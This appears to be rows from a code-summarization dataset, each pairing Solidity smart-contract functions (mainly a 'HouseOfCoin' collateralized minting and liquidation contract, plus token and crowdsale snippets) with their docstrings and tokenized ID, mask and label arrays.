excludeFromMaxTransaction(address(0xdead), true);
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
_mint(msg.sender, totalSupply);
| 7,982,867 | [
1,
10157,
628,
8843,
310,
1656,
281,
578,
7999,
943,
2492,
3844,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
3885,
1435,
4232,
39,
3462,
2932,
55,
464,
414,
3113,
315,
47,
4488,
7923,
288,
203,
3639,
467,
984,
291,
91,
438,
58,
22,
8259,
3103,
389,
318,
291,
91,
438,
58,
22,
8259,
273,
467,
984,
291,
91,
438,
58,
22,
8259,
3103,
12,
203,
5411,
374,
92,
27,
69,
26520,
72,
4313,
5082,
38,
24,
71,
42,
25,
5520,
27,
5520,
72,
42,
22,
39,
25,
72,
37,
7358,
24,
71,
26,
6162,
42,
3247,
5482,
40,
203,
3639,
11272,
203,
203,
3639,
4433,
1265,
2747,
3342,
12,
2867,
24899,
318,
291,
91,
438,
58,
22,
8259,
3631,
638,
1769,
203,
3639,
640,
291,
91,
438,
58,
22,
8259,
273,
389,
318,
291,
91,
438,
58,
22,
8259,
31,
203,
203,
3639,
640,
291,
91,
438,
58,
22,
4154,
273,
467,
984,
291,
91,
438,
58,
22,
1733,
24899,
318,
291,
91,
438,
58,
22,
8259,
18,
6848,
10756,
203,
5411,
263,
2640,
4154,
12,
2867,
12,
2211,
3631,
389,
318,
291,
91,
438,
58,
22,
8259,
18,
59,
1584,
44,
10663,
203,
3639,
4433,
1265,
2747,
3342,
12,
2867,
12,
318,
291,
91,
438,
58,
22,
4154,
3631,
638,
1769,
203,
3639,
389,
542,
22932,
690,
3882,
278,
12373,
4154,
12,
2867,
12,
318,
291,
91,
438,
58,
22,
4154,
3631,
638,
1769,
203,
203,
3639,
2254,
5034,
389,
70,
9835,
3882,
21747,
14667,
273,
2593,
31,
203,
3639,
2254,
5034,
389,
70,
9835,
48,
18988,
24237,
14667,
273,
374,
31,
203,
3639,
2254,
5034,
389,
70,
9835,
8870,
14667,
2
]
|
./full_match/80001/0xD9409a073a6Ca9C6b7f87e001212F7E4C699A192/sources/contracts/NftTokenCrowdsale.sol | * @dev Returns the amount contributed so far by a sepecific user. @param _wallet Address of contributor @return User contribution so far/ | function getUserContribution(address _wallet)
public
view
returns (uint256)
{
return _wallets[_wallet].contribution;
}
| 9,485,150 | [
1,
1356,
326,
3844,
356,
11050,
1427,
10247,
635,
279,
695,
705,
1507,
729,
18,
225,
389,
19177,
5267,
434,
31123,
327,
2177,
24880,
1427,
10247,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
4735,
442,
4027,
12,
2867,
389,
19177,
13,
203,
3639,
1071,
203,
3639,
1476,
203,
3639,
1135,
261,
11890,
5034,
13,
203,
565,
288,
203,
3639,
327,
389,
8019,
2413,
63,
67,
19177,
8009,
591,
4027,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
/**
* @title The house Of coin minting contract.
* @author daigaro.eth
* @notice Allows users with acceptable reserves to mint backedAsset.
* @notice Allows user to burn their minted asset to release their reserve.
* @dev Contracts are split into state and functionality.
*/
import "@openzeppelin/contracts/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "./interfaces/IERC20Extension.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "./interfaces/IAssetsAccountant.sol";
import "./interfaces/IAssetsAccountantState.Sol";
import "./interfaces/IHouseOfReserveState.sol";
import "./abstract/OracleHouse.sol";
contract HouseOfCoinState {
// HouseOfCoinMinting Events
/**
* @dev Log when a user is mints coin.
* @param user Address of user that minted coin.
* @param backedTokenId Token Id number of asset in {AssetsAccountant}.
* @param amount minted.
*/
event CoinMinted(
address indexed user,
uint256 indexed backedTokenId,
uint256 amount
);
/**
* @dev Log when a user paybacks minted coin.
* @param user Address of user that minted coin.
* @param reservetokenID Token Id number of asset in {AssetsAccountant}.
* @param amount payback.
*/
event CoinPayback(
address indexed user,
uint256 indexed reservetokenID,
uint256 amount
);
/**
* @dev Log when a user is in the danger zone of being liquidated.
* @param user Address of user that is on margin call.
* @param mintedAsset ERC20 address of user's token debt on margin call.
* @param reserveAsset ERC20 address of user's backing collateral.
*/
event MarginCall(
address indexed user,
address indexed mintedAsset,
address indexed reserveAsset
);
/**
* @dev Log when a user is liquidated.
* @param userLiquidated Address of user that is being liquidated.
* @param liquidator Address of user that liquidates.
* @param collateralAmount sold.
*/
event Liquidation(
address indexed userLiquidated,
address indexed liquidator,
uint256 collateralAmount
);
struct LiquidationParameters {
uint256 globalBase;
uint256 marginCallThreshold;
uint256 liquidationThreshold;
uint256 liquidationPricePenaltyDiscount;
uint256 collateralPenalty;
}
bytes32 public constant HOUSE_TYPE = keccak256("COIN_HOUSE");
address public backedAsset;
uint256 internal backedAssetDecimals;
address public assetsAccountant;
LiquidationParameters internal _liqParam;
}
contract HouseOfCoin is
Initializable,
AccessControl,
OracleHouse,
HouseOfCoinState
{
/**
* @dev Initializes this contract by setting:
* @param _backedAsset ERC20 address of the asset type of coin to be minted in this contract.
* @param _assetsAccountant Address of the {AssetsAccountant} contract.
*/
function initialize(
address _backedAsset,
address _assetsAccountant,
string memory _tickerUsdFiat,
string memory _tickerReserveAsset
) public initializer {
backedAsset = _backedAsset;
backedAssetDecimals = IERC20Extension(backedAsset).decimals();
assetsAccountant = _assetsAccountant;
// Defines all LiquidationParameters as base 100 decimal numbers.
_liqParam.globalBase = 100;
// Margin call when health ratio = 1 or below. This means maxMintPower = mintedDebt, accounting the collateralization factors.
_liqParam.marginCallThreshold = 100;
// Liquidation starts health ratio = 0.95 or below.
_liqParam.liquidationThreshold = 95;
// User's unhealthy position sells collateral at penalty discount of 10%, bring them back to a good HealthRatio.
_liqParam.liquidationPricePenaltyDiscount = 10;
// Percentage amount of unhealthy user's collateral that will be sold to bring user's to good HealthRatio.
_liqParam.collateralPenalty = 75;
// Internal function that will transform _liqParam, compatible with backedAsset decimals
_transformToBackAssetDecimalBase();
_oracleHouse_initialize();
_setTickers(_tickerUsdFiat, _tickerReserveAsset);
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
}
/**
* @notice See '_setTickers()' in {OracleHouse}.
* @dev restricted to admin only.
*/
function setTickers(
string memory _tickerUsdFiat,
string memory _tickerReserveAsset
) external override onlyRole(DEFAULT_ADMIN_ROLE) {
_setTickers(_tickerUsdFiat, _tickerReserveAsset);
}
/**
* @notice See '_authorizeSigner()' in {OracleHouse}
* @dev Restricted to admin only.
*/
function authorizeSigner(address newtrustedSigner)
external
override
onlyRole(DEFAULT_ADMIN_ROLE)
{
_authorizeSigner(newtrustedSigner);
}
/**
* @notice Function to mint ERC20 'backedAsset' of this HouseOfCoin.
* @dev Requires user to have reserves for this backed asset at HouseOfReserves.
* @param reserveAsset ERC20 address of asset to be used to back the minted coins.
* @param houseOfReserve Address of the {HouseOfReserves} contract that manages the 'reserveAsset'.
* @param amount To mint.
* Emits a {CoinMinted} event.
*/
function mintCoin(
address reserveAsset,
address houseOfReserve,
uint256 amount
) public returns (bool success) {
IHouseOfReserveState hOfReserve = IHouseOfReserveState(houseOfReserve);
IERC20Extension bAsset = IERC20Extension(backedAsset);
uint256 reserveTokenID = hOfReserve.reserveTokenID();
uint256 backedTokenID = getBackedTokenID(reserveAsset);
// Validate reserveAsset is active with {AssetsAccountant} and check houseOfReserve inputs.
require(
IAssetsAccountantState(assetsAccountant).houseOfReserves(
reserveTokenID
) !=
address(0) &&
hOfReserve.reserveAsset() == reserveAsset,
"Not valid reserveAsset!"
);
// Validate this HouseOfCoin is active with {AssetsAccountant} and can mint backedAsset.
require(
bAsset.hasRole(keccak256("MINTER_ROLE"), address(this)),
"houseOfCoin not authorized to mint backedAsset!"
);
// Get inputs for checking minting power, collateralization factor and oracle price
IHouseOfReserveState.Factor memory collatRatio = hOfReserve
.collateralRatio();
uint256 price = getLatestPrice();
// Checks minting power of msg.sender.
uint256 mintingPower = _checkRemainingMintingPower(
msg.sender,
reserveTokenID,
backedTokenID,
collatRatio,
price
);
require(
mintingPower > 0 && mintingPower >= amount,
"No reserves to mint amount!"
);
// Update state in AssetAccountant
IAssetsAccountant(assetsAccountant).mint(
msg.sender,
backedTokenID,
amount,
""
);
// Mint backedAsset Coins
bAsset.mint(msg.sender, amount);
// Emit Event
emit CoinMinted(msg.sender, backedTokenID, amount);
success = true;
}
/**
* @notice Function to payback ERC20 'backedAsset' of this HouseOfCoin.
* @dev Requires knowledge of the reserve asset used to back the minted coins.
* @param _backedTokenID Token Id in {AssetsAccountant}, releases the reserve asset used in 'getTokenID'.
* @param amount To payback.
* Emits a {CoinPayback} event.
*/
function paybackCoin(uint256 _backedTokenID, uint256 amount) public {
IAssetsAccountant accountant = IAssetsAccountant(assetsAccountant);
IERC20Extension bAsset = IERC20Extension(backedAsset);
uint256 userTokenIDBal = accountant.balanceOf(
msg.sender,
_backedTokenID
);
// Check in {AssetsAccountant} that msg.sender backedAsset was created with assets '_backedTokenID'
require(userTokenIDBal >= 0, "No _backedTokenID balance!");
// Check that amount is less than '_backedTokenID' in {Assetsaccountant}
require(userTokenIDBal >= amount, "amount > _backedTokenID balance!");
// Check that msg.sender has the intended backed ERC20 asset.
require(bAsset.balanceOf(msg.sender) >= amount, "No ERC20 allowance!");
// Burn amount of ERC20 tokens paybacked.
bAsset.burn(msg.sender, amount);
// Burn amount of _backedTokenID in {AssetsAccountant}
accountant.burn(msg.sender, _backedTokenID, amount);
emit CoinPayback(msg.sender, _backedTokenID, amount);
}
/**
* @dev Called to liquidate a user or publish margin call event.
* @param userToLiquidate address to liquidate.
* @param reserveAsset the reserve asset address user is using to back debt.
*/
function liquidateUser(address userToLiquidate, address reserveAsset)
external
{
// Get all the required inputs.
IAssetsAccountantState accountant = IAssetsAccountantState(
assetsAccountant
);
(uint256 reserveBal, uint256 mintedCoinBal) = _checkBalances(
userToLiquidate,
accountant.reservesIds(reserveAsset, backedAsset),
getBackedTokenID(reserveAsset)
);
require(mintedCoinBal > 0 && reserveBal > 0, "No balance!");
address hOfReserveAddr = accountant.houseOfReserves(
accountant.reservesIds(reserveAsset, backedAsset)
);
IHouseOfReserveState hOfReserve = IHouseOfReserveState(hOfReserveAddr);
IHouseOfReserveState.Factor memory collatRatio = hOfReserve
.collateralRatio();
uint256 latestPrice = getLatestPrice();
uint256 reserveAssetDecimals = IERC20Extension(reserveAsset).decimals();
// Get health ratio
uint256 healthRatio = _computeUserHealthRatio(
reserveBal,
mintedCoinBal,
collatRatio,
latestPrice
);
// User on marginCall
if (healthRatio <= _liqParam.marginCallThreshold) {
emit MarginCall(userToLiquidate, backedAsset, reserveAsset);
// User at liquidation level
if (healthRatio <= _liqParam.liquidationThreshold) {
// check liquidator ERC20 approval
(
uint256 costofLiquidation,
uint256 collatPenaltyBal
) = _computeCostOfLiquidation(
reserveBal,
latestPrice,
reserveAssetDecimals
);
require(
IERC20Extension(backedAsset).allowance(
msg.sender,
address(this)
) >= costofLiquidation,
"No allowance!"
);
_executeLiquidation(
userToLiquidate,
accountant.reservesIds(reserveAsset, backedAsset),
getBackedTokenID(reserveAsset),
costofLiquidation,
collatPenaltyBal
);
}
} else {
revert("Not liquidatable!");
}
}
/**
* @notice Function to get the health ratio of user.
* @param user address.
* @param reserveAsset address being used as collateral.
*/
function computeUserHealthRatio(address user, address reserveAsset)
public
view
returns (uint256)
{
// Get all the required inputs.
IAssetsAccountantState accountant = IAssetsAccountantState(
assetsAccountant
);
uint256 reserveTokenID = accountant.reservesIds(
reserveAsset,
backedAsset
);
uint256 backedTokenID = getBackedTokenID(reserveAsset);
(uint256 reserveBal, uint256 mintedCoinBal) = _checkBalances(
user,
reserveTokenID,
backedTokenID
);
require(mintedCoinBal > 0 && reserveBal > 0, "No balance!");
address hOfReserveAddr = accountant.houseOfReserves(reserveTokenID);
IHouseOfReserveState hOfReserve = IHouseOfReserveState(hOfReserveAddr);
IHouseOfReserveState.Factor memory collatRatio = hOfReserve
.collateralRatio();
uint256 latestPrice = getLatestPrice();
return
_computeUserHealthRatio(
reserveBal,
mintedCoinBal,
collatRatio,
latestPrice
);
}
/**
* @notice Function to get the theoretical cost of liquidating a user.
* @param user address.
* @param reserveAsset address being used as collateral.
*/
function computeCostOfLiquidation(address user, address reserveAsset)
public
view
returns (uint256 costAmount, uint256 collateralAtPenalty)
{
// Get all the required inputs.
IAssetsAccountantState accountant = IAssetsAccountantState(
assetsAccountant
);
uint256 reserveTokenID = accountant.reservesIds(
reserveAsset,
backedAsset
);
uint256 backedTokenID = getBackedTokenID(reserveAsset);
(uint256 reserveBal, uint256 mintedCoinBal) = _checkBalances(
user,
reserveTokenID,
backedTokenID
);
require(mintedCoinBal > 0 && reserveBal > 0, "No balance!");
uint256 latestPrice = getLatestPrice();
uint256 reserveAssetDecimals = IERC20Extension(reserveAsset).decimals();
(costAmount, collateralAtPenalty) = _computeCostOfLiquidation(
reserveBal,
latestPrice,
reserveAssetDecimals
);
return (costAmount, collateralAtPenalty);
}
/**
*
* @dev Get backedTokenID to be used in {AssetsAccountant}
* @param _reserveAsset ERC20 address of the reserve asset used to back coin.
*/
function getBackedTokenID(address _reserveAsset)
public
view
returns (uint256)
{
return
uint256(
keccak256(
abi.encodePacked(_reserveAsset, backedAsset, "backedAsset")
)
);
}
/**
* @dev Returns the _liqParams as a struct
*/
function getLiqParams() public view returns (LiquidationParameters memory) {
return _liqParam;
}
/**
* @dev Call latest price.
* @dev Must be called according to 'redstone-evm-connector' documentation.
*/
function getLatestPrice() public view returns (uint256 price) {
price = _getLatestPrice();
}
/**
* @notice External function that returns the amount of backed asset coins user can mint with unused reserve asset.
* @param user to check minting power.
* @param reserveAsset Address of reserve asset.
*/
function checkRemainingMintingPower(address user, address reserveAsset)
public
view
returns (uint256)
{
// Get all required inputs
IAssetsAccountantState accountant = IAssetsAccountantState(
assetsAccountant
);
uint256 reserveTokenID = accountant.reservesIds(
reserveAsset,
backedAsset
);
uint256 backedTokenID = getBackedTokenID(reserveAsset);
address hOfReserveAddr = accountant.houseOfReserves(reserveTokenID);
IHouseOfReserveState hOfReserve = IHouseOfReserveState(hOfReserveAddr);
IHouseOfReserveState.Factor memory collatRatio = hOfReserve
.collateralRatio();
uint256 latestPrice = getLatestPrice();
return
_checkRemainingMintingPower(
user,
reserveTokenID,
backedTokenID,
collatRatio,
latestPrice
);
}
/// Internal Functions
/**
* @dev Internal function to query balances in {AssetsAccountant}
*/
function _checkBalances(
address user,
uint256 _reservesTokenID,
uint256 _bAssetRTokenID
) internal view returns (uint256 reserveBal, uint256 mintedCoinBal) {
reserveBal = IERC1155(assetsAccountant).balanceOf(
user,
_reservesTokenID
);
mintedCoinBal = IERC1155(assetsAccountant).balanceOf(
user,
_bAssetRTokenID
);
}
/**
* @dev Internal function to check user's remaining minting power.
*/
function _checkRemainingMintingPower(
address user,
uint256 reserveTokenID,
uint256 backedTokenID,
IHouseOfReserveState.Factor memory collatRatio,
uint256 price
) internal view returns (uint256) {
// Need balances for tokenIDs of both reserves and backed asset in {AssetsAccountant}
(uint256 reserveBal, uint256 mintedCoinBal) = _checkBalances(
user,
reserveTokenID,
backedTokenID
);
// Check if msg.sender has reserves
if (reserveBal == 0) {
// If msg.sender has NO reserves, minting power = 0.
return 0;
} else {
// Check if user can mint more
(
bool canMintMore,
uint256 remainingMintingPower
) = _checkIfUserCanMintMore(
reserveBal,
mintedCoinBal,
collatRatio,
price
);
if (canMintMore) {
// If msg.sender canMintMore, how much
return remainingMintingPower;
} else {
return 0;
}
}
}
/**
* @dev Internal function to check if user can mint more coin.
*/
function _checkIfUserCanMintMore(
uint256 reserveBal,
uint256 mintedCoinBal,
IHouseOfReserveState.Factor memory collatRatio,
uint256 price
) internal pure returns (bool canMintMore, uint256 remainingMintingPower) {
uint256 reserveBalreducedByFactor = (reserveBal *
collatRatio.denominator) / collatRatio.numerator;
uint256 maxMintableAmount = (reserveBalreducedByFactor * price) / 1e8;
canMintMore = mintedCoinBal > maxMintableAmount ? false : true;
remainingMintingPower = canMintMore
? (maxMintableAmount - mintedCoinBal)
: 0;
}
/**
* @dev Internal function that transforms _liqParams to backedAsset decimal base.
*/
function _transformToBackAssetDecimalBase() internal {
require(backedAssetDecimals > 0, "No backedAsset decimals!");
require(
_liqParam.globalBase > 0 &&
_liqParam.marginCallThreshold > 0 &&
_liqParam.liquidationThreshold > 0 &&
_liqParam.liquidationPricePenaltyDiscount > 0 &&
_liqParam.collateralPenalty > 0,
"Empty _liqParam!"
);
LiquidationParameters memory ltemp;
ltemp.globalBase = 10**backedAssetDecimals;
ltemp.marginCallThreshold =
(_liqParam.marginCallThreshold * ltemp.globalBase) /
_liqParam.globalBase;
ltemp.liquidationThreshold =
(_liqParam.liquidationThreshold * ltemp.globalBase) /
_liqParam.globalBase;
ltemp.liquidationPricePenaltyDiscount =
(_liqParam.liquidationPricePenaltyDiscount * ltemp.globalBase) /
_liqParam.globalBase;
ltemp.collateralPenalty =
(_liqParam.collateralPenalty * ltemp.globalBase) /
_liqParam.globalBase;
_liqParam = ltemp;
}
function _computeUserHealthRatio(
uint256 reserveBal,
uint256 mintedCoinBal,
IHouseOfReserveState.Factor memory collatRatio,
uint256 price
) internal view returns (uint256 healthRatio) {
// Check current maxMintableAmount with current price
uint256 reserveBalreducedByFactor = (reserveBal *
collatRatio.denominator) / collatRatio.numerator;
uint256 maxMintableAmount = (reserveBalreducedByFactor * price) / 1e8;
// Compute health ratio
healthRatio =
(maxMintableAmount * _liqParam.globalBase) /
mintedCoinBal;
}
function _computeCostOfLiquidation(
uint256 reserveBal,
uint256 price,
uint256 reserveAssetDecimals
)
internal
view
returns (uint256 costofLiquidation, uint256 collatPenaltyBal)
{
uint256 discount = _liqParam.globalBase -
_liqParam.liquidationPricePenaltyDiscount;
uint256 liqDiscountedPrice = (price * discount) / _liqParam.globalBase;
collatPenaltyBal =
(reserveBal * _liqParam.collateralPenalty) /
_liqParam.globalBase;
uint256 amountTemp = (collatPenaltyBal * liqDiscountedPrice) / 10**8;
uint256 decimalDiff;
if (reserveAssetDecimals > backedAssetDecimals) {
decimalDiff = reserveAssetDecimals - backedAssetDecimals;
amountTemp = amountTemp / 10**decimalDiff;
} else {
decimalDiff = backedAssetDecimals - reserveAssetDecimals;
amountTemp = amountTemp * 10**decimalDiff;
}
costofLiquidation = amountTemp;
}
function _executeLiquidation(
address user,
uint256 reserveTokenID,
uint256 backedTokenID,
uint256 costofLiquidation,
uint256 collatPenaltyBal
) internal {
// Transfer of Assets.
// BackedAsset to this contract.
IERC20Extension(backedAsset).transferFrom(
msg.sender,
address(this),
costofLiquidation
);
// Penalty collateral from liquidated user to liquidator.
IAssetsAccountant accountant = IAssetsAccountant(assetsAccountant);
accountant.safeTransferFrom(
user,
msg.sender,
reserveTokenID,
collatPenaltyBal,
""
);
// Burning tokens and debt.
// Burn 'costofLiquidation' debt amount from liquidated user in {AssetsAccountant}
accountant.burn(user, backedTokenID, costofLiquidation);
// Burn the received backedAsset tokens.
IERC20Extension bAsset = IERC20Extension(backedAsset);
bAsset.burn(address(this), costofLiquidation);
// Emit event
emit Liquidation(user, msg.sender, collatPenaltyBal);
}
}
| * @dev Internal function to check if user can mint more coin./ | function _checkIfUserCanMintMore(
uint256 reserveBal,
uint256 mintedCoinBal,
IHouseOfReserveState.Factor memory collatRatio,
uint256 price
) internal pure returns (bool canMintMore, uint256 remainingMintingPower) {
uint256 reserveBalreducedByFactor = (reserveBal *
collatRatio.denominator) / collatRatio.numerator;
uint256 maxMintableAmount = (reserveBalreducedByFactor * price) / 1e8;
canMintMore = mintedCoinBal > maxMintableAmount ? false : true;
remainingMintingPower = canMintMore
? (maxMintableAmount - mintedCoinBal)
: 0;
}
| 12,834,366 | [
1,
3061,
445,
358,
866,
309,
729,
848,
312,
474,
1898,
13170,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
389,
1893,
2047,
1299,
2568,
49,
474,
7417,
12,
203,
3639,
2254,
5034,
20501,
38,
287,
16,
203,
3639,
2254,
5034,
312,
474,
329,
27055,
38,
287,
16,
203,
3639,
467,
44,
3793,
951,
607,
6527,
1119,
18,
6837,
3778,
4508,
270,
8541,
16,
203,
3639,
2254,
5034,
6205,
203,
565,
262,
2713,
16618,
1135,
261,
6430,
848,
49,
474,
7417,
16,
2254,
5034,
4463,
49,
474,
310,
13788,
13,
288,
203,
3639,
2254,
5034,
20501,
38,
287,
1118,
26372,
858,
6837,
273,
261,
455,
6527,
38,
287,
380,
203,
5411,
4508,
270,
8541,
18,
13002,
26721,
13,
342,
4508,
270,
8541,
18,
2107,
7385,
31,
203,
203,
3639,
2254,
5034,
943,
49,
474,
429,
6275,
273,
261,
455,
6527,
38,
287,
1118,
26372,
858,
6837,
380,
6205,
13,
342,
404,
73,
28,
31,
203,
203,
3639,
848,
49,
474,
7417,
273,
312,
474,
329,
27055,
38,
287,
405,
943,
49,
474,
429,
6275,
692,
629,
294,
638,
31,
203,
203,
3639,
4463,
49,
474,
310,
13788,
273,
848,
49,
474,
7417,
203,
5411,
692,
261,
1896,
49,
474,
429,
6275,
300,
312,
474,
329,
27055,
38,
287,
13,
203,
5411,
294,
374,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/**
*Submitted for verification at Etherscan.io on 2022-04-07
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
